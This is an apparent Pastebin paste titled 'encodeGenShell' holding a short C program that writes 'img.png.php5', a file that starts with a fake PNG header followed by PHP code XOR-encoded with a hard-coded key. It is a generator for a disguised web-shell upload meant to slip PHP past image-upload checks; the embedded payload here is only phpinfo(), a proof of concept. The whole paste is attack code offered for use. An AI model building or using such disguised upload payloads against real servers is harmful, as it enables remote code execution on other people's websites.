SHARE
TWEET

encodeGenShell

finalshare Aug 1st, 2018 (edited) 63 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include <stdio.h>
  2.  
  3. unsigned char fakeHeader[56] = {
  4.     0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A, 0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52,
  5.     0x00, 0x00, 0x00, 0x0F, 0x00, 0x00, 0x00, 0x0D, 0x08, 0x06, 0x00, 0x00, 0x00, 0x76, 0x1E, 0x34,
  6.     0x41, 0x00, 0x00, 0x00, 0x01, 0x73, 0x52, 0x47, 0x42, 0x00, 0xAE, 0xCE, 0x1C, 0xE9, 0x00, 0x00,
  7.     0x00, 0x04, 0x67, 0x41, 0x4D, 0x41, 0x00, 0x00
  8. };
  9. char key[]="concavangmauxanhlacay";
  10. char content[]=" <?php phpinfo(); ?>";
  11.  
  12. int i,j;
  13.  
  14. int v5,v6;
  15. int main(){
  16.     FILE*f=fopen("img.png.php5","wb");
  17.     fwrite(fakeHeader,1,56,f);
  18.     v6=strlen(content);
  19.       v5 = strlen(key);
  20.   for ( i = 0; i < v6; ++i )
  21.     content[i] ^= key[(56+i) % v5];
  22.  fwrite(content,1,v6,f);
  23.  fclose(f);
  24. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top